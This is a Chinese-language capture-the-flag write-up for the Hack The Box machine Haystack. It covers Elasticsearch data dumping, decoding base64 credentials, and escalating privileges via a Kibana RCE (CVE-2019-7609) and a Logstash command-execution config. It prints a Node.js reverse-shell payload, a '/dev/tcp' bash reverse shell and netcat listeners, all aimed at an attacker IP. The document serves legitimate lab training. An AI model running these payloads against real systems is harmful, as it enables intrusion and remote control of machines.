Hack the box靶机实战:Haystack
字数 1283 2025-08-18 11:39:08
Haystack靶机渗透实战教学文档
1. 靶机概述
- 目标IP: 10.10.10.115 (Linux系统)
- 难度评级: 简单(实际中等)
- 主要技术点:
- Elasticsearch数据挖掘
- 西班牙语文本分析
- Kibana漏洞利用(CVE-2018-17246/CVE-2019-7609)
- Logstash配置提权
2. 信息收集
2.1 端口扫描
使用nmap进行扫描:
nmap -sT -p- --min-rate 1500 -oN ports 10.10.10.115
nmap -sC -sV -p22,80,9200 -oN services 10.10.10.115
扫描结果:
- 22/tcp: OpenSSH 7.4
- 80/tcp: nginx 1.12.2 (仅显示一张needle图片)
- 9200/tcp: nginx 1.12.2 (Elasticsearch服务)
2.2 Web服务枚举
- 80端口: 仅有一张针(needle)图片,无有用信息
- 使用gobuster爆破路径无果
- 9200端口运行Elasticsearch服务
3. Elasticsearch数据挖掘
3.1 索引分析
发现两个索引:
bank: 银行用户信息,无有用数据quotes: 包含西班牙语句子
3.2 数据导出
使用elasticdump导出数据:
elasticdump --input=http://10.10.10.115:9200/quotes --output=quotes.json --type=data
3.3 数据处理脚本
import json
result = {}
txt = ""
with open("quotes.json") as f:
data = f.readlines()
for ele in data:
obj = json.loads(ele)
id = int(obj["_id"])
result[id] = obj["_source"]["quote"]
for i in sorted(result.keys()):
print(i)
txt = txt + result[i] + "\n\n"
with open("result.md", "w") as f1:
f1.write(txt)
3.4 关键信息提取
在西班牙语文本中发现:
Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=
翻译:
- "我已经保存了这台机器的密码: dXNlcjogc2VjdXJpdHkg"
- "密钥不能丢,我保存在了这里: cGFzczogc3BhbmlzaC5pcy5rZXk="
Base64解码:
echo "dXNlcjogc2VjdXJpdHkg" | base64 -d
# 输出: user: security
echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
# 输出: pass: spanish.is.key
4. 初始访问
使用获取的凭据SSH登录:
ssh security@10.10.10.115
# 密码: spanish.is.key
5. 权限提升
5.1 Kibana服务利用
- Kibana仅在本地运行(5601端口)
- 设置SSH端口转发:
ssh -L 5601:localhost:5601 security@10.10.10.115
- 利用Kibana RCE漏洞(CVE-2019-7609):
- 创建恶意server.js文件:
// server.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "10.10.16.61", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
- 通过Burp发送请求:
GET /api/console/api_server?sense_version=@@SENSE_VERSION&apis=tmp/server.js HTTP/1.1
Host: localhost:5601
...
kbn-version: 6.4.2
- 在攻击机监听:
nc -lvnp 1234
5.2 Logstash配置提权
- 发现kibana用户对logstash配置有写权限:
ls -lah /etc/logstash/conf.d/
# 输出显示kibana组有写权限
- Logstash配置文件分析:
- input.conf: 从/opt/kibana/logstash_*读取文件
- filter.conf: 使用grok解析"Ejecutar comando: <命令>"
- output.conf: 执行解析出的命令
- Grok表达式:
Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}
- 创建恶意文件:
echo "Ejecutar comando: bash -i >& /dev/tcp/10.10.16.61/1234 0>&1" > /opt/kibana/logstash_1.txt
- 监听反弹shell:
nc -lvnp 1234
6. 总结
6.1 攻击路径
- 信息收集 → 发现Elasticsearch服务
- 导出并分析数据 → 发现base64编码凭据
- SSH初始访问 → 发现本地Kibana服务
- Kibana RCE → 获取kibana用户权限
- Logstash配置滥用 → 获取root权限
6.2 关键点
- Elasticsearch数据导出和分析技巧
- 非英语环境下的信息提取能力
- Kibana服务本地端口转发技术
- Kibana RCE漏洞利用
- Logstash配置滥用提权方法
6.3 防御建议
- Elasticsearch应设置访问控制
- 敏感信息不应以明文或简单编码存储
- Kibana服务应及时更新补丁
- Logstash配置目录权限应严格控制
- 最小权限原则应用于所有服务账户